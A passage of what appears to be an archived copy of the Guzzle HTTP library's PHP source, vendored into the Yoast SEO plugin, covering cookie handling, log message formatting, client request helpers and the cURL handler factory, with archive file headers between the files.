$this->setMaxAge($data['Max-Age']); } if (isset($data['Expires'])) { $this->setExpires($data['Expires']); } if (isset($data['Secure'])) { $this->setSecure($data['Secure']); } if (isset($data['Discard'])) { $this->setDiscard($data['Discard']); } if (isset($data['HttpOnly'])) { $this->setHttpOnly($data['HttpOnly']); } // Set the remaining values that don't have extra validation logic foreach (\array_diff(\array_keys($data), \array_keys(self::$defaults)) as $key) { $this->data[$key] = $data[$key]; } // Extract the Expires value and turn it into a UNIX timestamp if needed if (!$this->getExpires() && $this->getMaxAge()) { // Calculate the Expires date $this->setExpires(\time() + $this->getMaxAge()); } elseif (null !== ($expires = $this->getExpires()) && !\is_numeric($expires)) { $this->setExpires($expires); } } public function __toString() { $str = $this->data['Name'] . '=' . ($this->data['Value'] ?? '') . '; '; foreach ($this->data as $k => $v) { if ($k !== 'Name' && $k !== 'Value' && $v !== null && $v !== \false) { if ($k === 'Expires') { $str .= 'Expires=' . \gmdate('D, d M Y H:i:s \\G\\M\\T', $v) . '; '; } else { $str .= ($v === \true ? $k : "{$k}={$v}") . '; '; } } } return \rtrim($str, '; '); } public function toArray() : array { return $this->data; } /** * Get the cookie name. * * @return string */ public function getName() { return $this->data['Name']; } /** * Set the cookie name. * * @param string $name Cookie name */ public function setName($name) : void { if (!\is_string($name)) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['Name'] = (string) $name; } /** * Get the cookie value. * * @return string|null */ public function getValue() { return $this->data['Value']; } /** * Set the cookie value. * * @param string $value Cookie value */ public function setValue($value) : void { if (!\is_string($value)) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['Value'] = (string) $value; } /** * Get the domain. * * @return string|null */ public function getDomain() { return $this->data['Domain']; } /** * Set the domain of the cookie. * * @param string|null $domain */ public function setDomain($domain) : void { if (!\is_string($domain) && null !== $domain) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['Domain'] = null === $domain ? null : (string) $domain; } /** * Get the path. * * @return string */ public function getPath() { return $this->data['Path']; } /** * Set the path of the cookie. * * @param string $path Path of the cookie */ public function setPath($path) : void { if (!\is_string($path)) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['Path'] = (string) $path; } /** * Maximum lifetime of the cookie in seconds. * * @return int|null */ public function getMaxAge() { return null === $this->data['Max-Age'] ? null : (int) $this->data['Max-Age']; } /** * Set the max-age of the cookie. * * @param int|null $maxAge Max age of the cookie in seconds */ public function setMaxAge($maxAge) : void { if (!\is_int($maxAge) && null !== $maxAge) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an int or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['Max-Age'] = $maxAge === null ? null : (int) $maxAge; } /** * The UNIX timestamp when the cookie Expires. * * @return string|int|null */ public function getExpires() { return $this->data['Expires']; } /** * Set the unix timestamp for which the cookie will expire. * * @param int|string|null $timestamp Unix timestamp or any English textual datetime description. */ public function setExpires($timestamp) : void { if (!\is_int($timestamp) && !\is_string($timestamp) && null !== $timestamp) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an int, string or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['Expires'] = null === $timestamp ? null : (\is_numeric($timestamp) ? (int) $timestamp : \strtotime((string) $timestamp)); } /** * Get whether or not this is a secure cookie. * * @return bool */ public function getSecure() { return $this->data['Secure']; } /** * Set whether or not the cookie is secure. * * @param bool $secure Set to true or false if secure */ public function setSecure($secure) : void { if (!\is_bool($secure)) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['Secure'] = (bool) $secure; } /** * Get whether or not this is a session cookie. * * @return bool|null */ public function getDiscard() { return $this->data['Discard']; } /** * Set whether or not this is a session cookie. * * @param bool $discard Set to true or false if this is a session cookie */ public function setDiscard($discard) : void { if (!\is_bool($discard)) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['Discard'] = (bool) $discard; } /** * Get whether or not this is an HTTP only cookie. * * @return bool */ public function getHttpOnly() { return $this->data['HttpOnly']; } /** * Set whether or not this is an HTTP only cookie. * * @param bool $httpOnly Set to true or false if this is HTTP only */ public function setHttpOnly($httpOnly) : void { if (!\is_bool($httpOnly)) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } $this->data['HttpOnly'] = (bool) $httpOnly; } /** * Check if the cookie matches a path value. * * A request-path path-matches a given cookie-path if at least one of * the following conditions holds: * * - The cookie-path and the request-path are identical. * - The cookie-path is a prefix of the request-path, and the last * character of the cookie-path is %x2F ("/"). * - The cookie-path is a prefix of the request-path, and the first * character of the request-path that is not included in the cookie- * path is a %x2F ("/") character. * * @param string $requestPath Path to check against */ public function matchesPath(string $requestPath) : bool { $cookiePath = $this->getPath(); // Match on exact matches or when path is the default empty "/" if ($cookiePath === '/' || $cookiePath == $requestPath) { return \true; } // Ensure that the cookie-path is a prefix of the request path. if (0 !== \strpos($requestPath, $cookiePath)) { return \false; } // Match if the last character of the cookie-path is "/" if (\substr($cookiePath, -1, 1) === '/') { return \true; } // Match if the first character not included in cookie path is "/" return \substr($requestPath, \strlen($cookiePath), 1) === '/'; } /** * Check if the cookie matches a domain value. * * @param string $domain Domain to check against */ public function matchesDomain(string $domain) : bool { $cookieDomain = $this->getDomain(); if (null === $cookieDomain) { return \true; } // Remove the leading '.' as per spec in RFC 6265. // https://datatracker.ietf.org/doc/html/rfc6265#section-5.2.3 $cookieDomain = \ltrim(\strtolower($cookieDomain), '.'); $domain = \strtolower($domain); // Domain not set or exact match. if ('' === $cookieDomain || $domain === $cookieDomain) { return \true; } // Matching the subdomain according to RFC 6265. // https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.3 if (\filter_var($domain, \FILTER_VALIDATE_IP)) { return \false; } return (bool) \preg_match('/\\.' . \preg_quote($cookieDomain, '/') . '$/', $domain); } /** * Check if the cookie is expired. */ public function isExpired() : bool { return $this->getExpires() !== null && \time() > $this->getExpires(); } /** * Check if the cookie is valid according to RFC 6265. * * @return bool|string Returns true if valid or an error message if invalid */ public function validate() { $name = $this->getName(); if ($name === '') { return 'The cookie name must not be empty'; } // Check if any of the invalid characters are present in the cookie name if (\preg_match('/[\\x00-\\x20\\x22\\x28-\\x29\\x2c\\x2f\\x3a-\\x40\\x5c\\x7b\\x7d\\x7f]/', $name)) { return 'Cookie name must not contain invalid characters: ASCII ' . 'Control characters (0-31;127), space, tab and the ' . 'following characters: ()<>@,;:\\"/?={}'; } // Value must not be null. 0 and empty string are valid. Empty strings // are technically against RFC 6265, but known to happen in the wild. $value = $this->getValue(); if ($value === null) { return 'The cookie value must not be empty'; } // Domains must not be empty, but can be 0. "0" is not a valid internet // domain, but may be used as server name in a private network. $domain = $this->getDomain(); if ($domain === null || $domain === '') { return 'The cookie domain must not be empty'; } return \true; } } guzzlehttp/guzzle/src/MessageFormatter.php000066600000016166151734252230015076 0ustar00>>>>>>>\n{request}\n<<<<<<<<\n{response}\n--------\n{error}"; public const SHORT = '[{ts}] "{method} {target} HTTP/{version}" {code}'; /** * @var string Template used to format log messages */ private $template; /** * @param string $template Log message template */ public function __construct(?string $template = self::CLF) { $this->template = $template ?: self::CLF; } /** * Returns a formatted message string. * * @param RequestInterface $request Request that was sent * @param ResponseInterface|null $response Response that was received * @param \Throwable|null $error Exception that was received */ public function format(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, \Throwable $error = null) : string { $cache = []; /** @var string */ return \preg_replace_callback('/{\\s*([A-Za-z_\\-\\.0-9]+)\\s*}/', function (array $matches) use($request, $response, $error, &$cache) { if (isset($cache[$matches[1]])) { return $cache[$matches[1]]; } $result = ''; switch ($matches[1]) { case 'request': $result = \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::toString($request); break; case 'response': $result = $response ? \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::toString($response) : ''; break; case 'req_headers': $result = \trim($request->getMethod() . ' ' . $request->getRequestTarget()) . ' HTTP/' . $request->getProtocolVersion() . "\r\n" . $this->headers($request); break; case 'res_headers': $result = $response ? \sprintf('HTTP/%s %d %s', $response->getProtocolVersion(), $response->getStatusCode(), $response->getReasonPhrase()) . "\r\n" . $this->headers($response) : 'NULL'; break; case 'req_body': $result = $request->getBody()->__toString(); break; case 'res_body': if (!$response instanceof \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface) { $result = 'NULL'; break; } $body = $response->getBody(); if (!$body->isSeekable()) { $result = 'RESPONSE_NOT_LOGGEABLE'; break; } $result = $response->getBody()->__toString(); break; case 'ts': case 'date_iso_8601': $result = \gmdate('c'); break; case 'date_common_log': $result = \date('d/M/Y:H:i:s O'); break; case 'method': $result = $request->getMethod(); break; case 'version': $result = $request->getProtocolVersion(); break; case 'uri': case 'url': $result = $request->getUri()->__toString(); break; case 'target': $result = $request->getRequestTarget(); break; case 'req_version': $result = $request->getProtocolVersion(); break; case 'res_version': $result = $response ? $response->getProtocolVersion() : 'NULL'; break; case 'host': $result = $request->getHeaderLine('Host'); break; case 'hostname': $result = \gethostname(); break; case 'code': $result = $response ? $response->getStatusCode() : 'NULL'; break; case 'phrase': $result = $response ? $response->getReasonPhrase() : 'NULL'; break; case 'error': $result = $error ? $error->getMessage() : 'NULL'; break; default: // handle prefixed dynamic headers if (\strpos($matches[1], 'req_header_') === 0) { $result = $request->getHeaderLine(\substr($matches[1], 11)); } elseif (\strpos($matches[1], 'res_header_') === 0) { $result = $response ? $response->getHeaderLine(\substr($matches[1], 11)) : 'NULL'; } } $cache[$matches[1]] = $result; return $result; }, $this->template); } /** * Get headers from message as string */ private function headers(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message) : string { $result = ''; foreach ($message->getHeaders() as $name => $values) { $result .= $name . ': ' . \implode(', ', $values) . "\r\n"; } return \trim($result); } } guzzlehttp/guzzle/src/functions_include.php000066600000000320151734252230015322 0ustar00request('GET', $uri, $options); } /** * Create and send an HTTP HEAD request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. * * @throws GuzzleException */ public function head($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { return $this->request('HEAD', $uri, $options); } /** * Create and send an HTTP PUT request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. * * @throws GuzzleException */ public function put($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { return $this->request('PUT', $uri, $options); } /** * Create and send an HTTP POST request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. * * @throws GuzzleException */ public function post($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { return $this->request('POST', $uri, $options); } /** * Create and send an HTTP PATCH request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. * * @throws GuzzleException */ public function patch($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { return $this->request('PATCH', $uri, $options); } /** * Create and send an HTTP DELETE request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. * * @throws GuzzleException */ public function delete($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { return $this->request('DELETE', $uri, $options); } /** * Create and send an asynchronous HTTP request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. Use an array to provide a URL * template and additional variables to use in the URL template expansion. * * @param string $method HTTP method * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. */ public abstract function requestAsync(string $method, $uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface; /** * Create and send an asynchronous HTTP GET request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. Use an array to provide a URL * template and additional variables to use in the URL template expansion. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. */ public function getAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->requestAsync('GET', $uri, $options); } /** * Create and send an asynchronous HTTP HEAD request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. Use an array to provide a URL * template and additional variables to use in the URL template expansion. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. */ public function headAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->requestAsync('HEAD', $uri, $options); } /** * Create and send an asynchronous HTTP PUT request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. Use an array to provide a URL * template and additional variables to use in the URL template expansion. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. */ public function putAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->requestAsync('PUT', $uri, $options); } /** * Create and send an asynchronous HTTP POST request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. Use an array to provide a URL * template and additional variables to use in the URL template expansion. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. */ public function postAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->requestAsync('POST', $uri, $options); } /** * Create and send an asynchronous HTTP PATCH request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. Use an array to provide a URL * template and additional variables to use in the URL template expansion. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. */ public function patchAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->requestAsync('PATCH', $uri, $options); } /** * Create and send an asynchronous HTTP DELETE request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. Use an array to provide a URL * template and additional variables to use in the URL template expansion. * * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. */ public function deleteAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $this->requestAsync('DELETE', $uri, $options); } } guzzlehttp/guzzle/src/Handler/CurlFactory.php000066600000060613151734252230015434 0ustar00maxHandles = $maxHandles; } public function create(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle { if (isset($options['curl']['body_as_string'])) { $options['_body_as_string'] = $options['curl']['body_as_string']; unset($options['curl']['body_as_string']); } $easy = new \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle(); $easy->request = $request; $easy->options = $options; $conf = $this->getDefaultConf($easy); $this->applyMethod($easy, $conf); $this->applyHandlerOptions($easy, $conf); $this->applyHeaders($easy, $conf); unset($conf['_headers']); // Add handler options from the request configuration options if (isset($options['curl'])) { $conf = \array_replace($conf, $options['curl']); } $conf[\CURLOPT_HEADERFUNCTION] = $this->createHeaderFn($easy); $easy->handle = $this->handles ? \array_pop($this->handles) : \curl_init(); \curl_setopt_array($easy->handle, $conf); return $easy; } public function release(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : void { $resource = $easy->handle; unset($easy->handle); if (\count($this->handles) >= $this->maxHandles) { \curl_close($resource); } else { // Remove all callback functions as they can hold onto references // and are not cleaned up by curl_reset. Using curl_setopt_array // does not work for some reason, so removing each one // individually. \curl_setopt($resource, \CURLOPT_HEADERFUNCTION, null); \curl_setopt($resource, \CURLOPT_READFUNCTION, null); \curl_setopt($resource, \CURLOPT_WRITEFUNCTION, null); \curl_setopt($resource, \CURLOPT_PROGRESSFUNCTION, null); \curl_reset($resource); $this->handles[] = $resource; } } /** * Completes a cURL transaction, either returning a response promise or a * rejected promise. * * @param callable(RequestInterface, array): PromiseInterface $handler * @param CurlFactoryInterface $factory Dictates how the handle is released */ public static function finish(callable $handler, \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactoryInterface $factory) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { if (isset($easy->options['on_stats'])) { self::invokeStats($easy); } if (!$easy->response || $easy->errno) { return self::finishError($handler, $easy, $factory); } // Return the response if it is present and there is no error. $factory->release($easy); // Rewind the body of the response if possible. $body = $easy->response->getBody(); if ($body->isSeekable()) { $body->rewind(); } return new \YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise($easy->response); } private static function invokeStats(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : void { $curlStats = \curl_getinfo($easy->handle); $curlStats['appconnect_time'] = \curl_getinfo($easy->handle, \CURLINFO_APPCONNECT_TIME); $stats = new \YoastSEO_Vendor\GuzzleHttp\TransferStats($easy->request, $easy->response, $curlStats['total_time'], $easy->errno, $curlStats); $easy->options['on_stats']($stats); } /** * @param callable(RequestInterface, array): PromiseInterface $handler */ private static function finishError(callable $handler, \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactoryInterface $factory) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { // Get error information and release the handle to the factory. $ctx = ['errno' => $easy->errno, 'error' => \curl_error($easy->handle), 'appconnect_time' => \curl_getinfo($easy->handle, \CURLINFO_APPCONNECT_TIME)] + \curl_getinfo($easy->handle); $ctx[self::CURL_VERSION_STR] = \curl_version()['version']; $factory->release($easy); // Retry when nothing is present or when curl failed to rewind. if (empty($easy->options['_err_message']) && (!$easy->errno || $easy->errno == 65)) { return self::retryFailedRewind($handler, $easy, $ctx); } return self::createRejection($easy, $ctx); } private static function createRejection(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array $ctx) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { static $connectionErrors = [\CURLE_OPERATION_TIMEOUTED => \true, \CURLE_COULDNT_RESOLVE_HOST => \true, \CURLE_COULDNT_CONNECT => \true, \CURLE_SSL_CONNECT_ERROR => \true, \CURLE_GOT_NOTHING => \true]; if ($easy->createResponseException) { return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered while creating the response', $easy->request, $easy->response, $easy->createResponseException, $ctx)); } // If an exception was encountered during the onHeaders event, then // return a rejected promise that wraps that exception. if ($easy->onHeadersException) { return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered during the on_headers event', $easy->request, $easy->response, $easy->onHeadersException, $ctx)); } $message = \sprintf('cURL error %s: %s (%s)', $ctx['errno'], $ctx['error'], 'see https://curl.haxx.se/libcurl/c/libcurl-errors.html'); $uriString = (string) $easy->request->getUri(); if ($uriString !== '' && \false === \strpos($ctx['error'], $uriString)) { $message .= \sprintf(' for %s', $uriString); } // Create a connection exception if it was a specific error code. $error = isset($connectionErrors[$easy->errno]) ? new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException($message, $easy->request, null, $ctx) : new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException($message, $easy->request, $easy->response, null, $ctx); return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($error); } /** * @return array */ private function getDefaultConf(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : array { $conf = ['_headers' => $easy->request->getHeaders(), \CURLOPT_CUSTOMREQUEST => $easy->request->getMethod(), \CURLOPT_URL => (string) $easy->request->getUri()->withFragment(''), \CURLOPT_RETURNTRANSFER => \false, \CURLOPT_HEADER => \false, \CURLOPT_CONNECTTIMEOUT => 300]; if (\defined('CURLOPT_PROTOCOLS')) { $conf[\CURLOPT_PROTOCOLS] = \CURLPROTO_HTTP | \CURLPROTO_HTTPS; } $version = $easy->request->getProtocolVersion(); if ($version == 1.1) { $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_1_1; } elseif ($version == 2.0) { $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_2_0; } else { $conf[\CURLOPT_HTTP_VERSION] = \CURL_HTTP_VERSION_1_0; } return $conf; } private function applyMethod(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array &$conf) : void { $body = $easy->request->getBody(); $size = $body->getSize(); if ($size === null || $size > 0) { $this->applyBody($easy->request, $easy->options, $conf); return; } $method = $easy->request->getMethod(); if ($method === 'PUT' || $method === 'POST') { // See https://datatracker.ietf.org/doc/html/rfc7230#section-3.3.2 if (!$easy->request->hasHeader('Content-Length')) { $conf[\CURLOPT_HTTPHEADER][] = 'Content-Length: 0'; } } elseif ($method === 'HEAD') { $conf[\CURLOPT_NOBODY] = \true; unset($conf[\CURLOPT_WRITEFUNCTION], $conf[\CURLOPT_READFUNCTION], $conf[\CURLOPT_FILE], $conf[\CURLOPT_INFILE]); } } private function applyBody(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, array &$conf) : void { $size = $request->hasHeader('Content-Length') ? (int) $request->getHeaderLine('Content-Length') : null; // Send the body as a string if the size is less than 1MB OR if the // [curl][body_as_string] request value is set. if ($size !== null && $size < 1000000 || !empty($options['_body_as_string'])) { $conf[\CURLOPT_POSTFIELDS] = (string) $request->getBody(); // Don't duplicate the Content-Length header $this->removeHeader('Content-Length', $conf); $this->removeHeader('Transfer-Encoding', $conf); } else { $conf[\CURLOPT_UPLOAD] = \true; if ($size !== null) { $conf[\CURLOPT_INFILESIZE] = $size; $this->removeHeader('Content-Length', $conf); } $body = $request->getBody(); if ($body->isSeekable()) { $body->rewind(); } $conf[\CURLOPT_READFUNCTION] = static function ($ch, $fd, $length) use($body) { return $body->read($length); }; } // If the Expect header is not present, prevent curl from adding it if (!$request->hasHeader('Expect')) { $conf[\CURLOPT_HTTPHEADER][] = 'Expect:'; } // cURL sometimes adds a content-type by default. Prevent this. if (!$request->hasHeader('Content-Type')) { $conf[\CURLOPT_HTTPHEADER][] = 'Content-Type:'; } } private function applyHeaders(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array &$conf) : void { foreach ($conf['_headers'] as $name => $values) { foreach ($values as $value) { $value = (string) $value; if ($value === '') { // cURL requires a special format for empty headers. // See https://github.com/guzzle/guzzle/issues/1882 for more details. $conf[\CURLOPT_HTTPHEADER][] = "{$name};"; } else { $conf[\CURLOPT_HTTPHEADER][] = "{$name}: {$value}"; } } } // Remove the Accept header if one was not set if (!$easy->request->hasHeader('Accept')) { $conf[\CURLOPT_HTTPHEADER][] = 'Accept:'; } } /** * Remove a header from the options array. * * @param string $name Case-insensitive header to remove * @param array $options Array of options to modify */ private function removeHeader(string $name, array &$options) : void { foreach (\array_keys($options['_headers']) as $key) { if (!\strcasecmp($key, $name)) { unset($options['_headers'][$key]); return; } } } private function applyHandlerOptions(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array &$conf) : void { $options = $easy->options; if (isset($options['verify'])) { if ($options['verify'] === \false) { unset($conf[\CURLOPT_CAINFO]); $conf[\CURLOPT_SSL_VERIFYHOST] = 0; $conf[\CURLOPT_SSL_VERIFYPEER] = \false; } else { $conf[\CURLOPT_SSL_VERIFYHOST] = 2; $conf[\CURLOPT_SSL_VERIFYPEER] = \true; if (\is_string($options['verify'])) { // Throw an error if the file/folder/link path is not valid or doesn't exist. if (!\file_exists($options['verify'])) { throw new \InvalidArgumentException("SSL CA bundle not found: {$options['verify']}"); } // If it's a directory or a link to a directory use CURLOPT_CAPATH. // If not, it's probably a file, or a link to a file, so use CURLOPT_CAINFO. if (\is_dir($options['verify']) || \is_link($options['verify']) === \true && ($verifyLink = \readlink($options['verify'])) !== \false && \is_dir($verifyLink)) { $conf[\CURLOPT_CAPATH] = $options['verify']; } else { $conf[\CURLOPT_CAINFO] = $options['verify']; } } } } if (!isset($options['curl'][\CURLOPT_ENCODING]) && !empty($options['decode_content'])) { $accept = $easy->request->getHeaderLine('Accept-Encoding'); if ($accept) { $conf[\CURLOPT_ENCODING] = $accept; } else { // The empty string enables all available decoders and implicitly // sets a matching 'Accept-Encoding' header. $conf[\CURLOPT_ENCODING] = ''; // But as the user did not specify any acceptable encodings we need // to overwrite this implicit header with an empty one. $conf[\CURLOPT_HTTPHEADER][] = 'Accept-Encoding:'; } } if (!isset($options['sink'])) { // Use a default temp stream if no sink was set. $options['sink'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen('php://temp', 'w+'); } $sink = $options['sink']; if (!\is_string($sink)) { $sink = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($sink); } elseif (!\is_dir(\dirname($sink))) { // Ensure that the directory exists before failing in curl. throw new \RuntimeException(\sprintf('Directory %s does not exist for sink value of %s', \dirname($sink), $sink)); } else { $sink = new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream($sink, 'w+'); } $easy->sink = $sink; $conf[\CURLOPT_WRITEFUNCTION] = static function ($ch, $write) use($sink) : int { return $sink->write($write); }; $timeoutRequiresNoSignal = \false; if (isset($options['timeout'])) { $timeoutRequiresNoSignal |= $options['timeout'] < 1; $conf[\CURLOPT_TIMEOUT_MS] = $options['timeout'] * 1000; } // CURL default value is CURL_IPRESOLVE_WHATEVER if (isset($options['force_ip_resolve'])) { if ('v4' === $options['force_ip_resolve']) { $conf[\CURLOPT_IPRESOLVE] = \CURL_IPRESOLVE_V4; } elseif ('v6' === $options['force_ip_resolve']) { $conf[\CURLOPT_IPRESOLVE] = \CURL_IPRESOLVE_V6; } } if (isset($options['connect_timeout'])) { $timeoutRequiresNoSignal |= $options['connect_timeout'] < 1; $conf[\CURLOPT_CONNECTTIMEOUT_MS] = $options['connect_timeout'] * 1000; } if ($timeoutRequiresNoSignal && \strtoupper(\substr(\PHP_OS, 0, 3)) !== 'WIN') { $conf[\CURLOPT_NOSIGNAL] = \true; } if (isset($options['proxy'])) { if (!\is_array($options['proxy'])) { $conf[\CURLOPT_PROXY] = $options['proxy']; } else { $scheme = $easy->request->getUri()->getScheme(); if (isset($options['proxy'][$scheme])) { $host = $easy->request->getUri()->getHost(); if (isset($options['proxy']['no']) && \YoastSEO_Vendor\GuzzleHttp\Utils::isHostInNoProxy($host, $options['proxy']['no'])) { unset($conf[\CURLOPT_PROXY]); } else { $conf[\CURLOPT_PROXY] = $options['proxy'][$scheme]; } } } } if (isset($options['crypto_method'])) { if (\STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT === $options['crypto_method']) { if (!\defined('CURL_SSLVERSION_TLSv1_0')) { throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.0 not supported by your version of cURL'); } $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_0; } elseif (\STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT === $options['crypto_method']) { if (!\defined('CURL_SSLVERSION_TLSv1_1')) { throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.1 not supported by your version of cURL'); } $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_1; } elseif (\STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT === $options['crypto_method']) { if (!\defined('CURL_SSLVERSION_TLSv1_2')) { throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.2 not supported by your version of cURL'); } $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_2; } elseif (\defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT') && \STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT === $options['crypto_method']) { if (!\defined('CURL_SSLVERSION_TLSv1_3')) { throw new \InvalidArgumentException('Invalid crypto_method request option: TLS 1.3 not supported by your version of cURL'); } $conf[\CURLOPT_SSLVERSION] = \CURL_SSLVERSION_TLSv1_3; } else { throw new \InvalidArgumentException('Invalid crypto_method request option: unknown version provided'); } } if (isset($options['cert'])) { $cert = $options['cert']; if (\is_array($cert)) { $conf[\CURLOPT_SSLCERTPASSWD] = $cert[1]; $cert = $cert[0]; } if (!\file_exists($cert)) { throw new \InvalidArgumentException("SSL certificate not found: {$cert}"); } // OpenSSL (versions 0.9.3 and later) also support "P12" for PKCS#12-encoded files. // see https://curl.se/libcurl/c/CURLOPT_SSLCERTTYPE.html $ext = \pathinfo($cert, \PATHINFO_EXTENSION); if (\preg_match('#^(der|p12)$#i', $ext)) { $conf[\CURLOPT_SSLCERTTYPE] = \strtoupper($ext); } $conf[\CURLOPT_SSLCERT] = $cert; } if (isset($options['ssl_key'])) { if 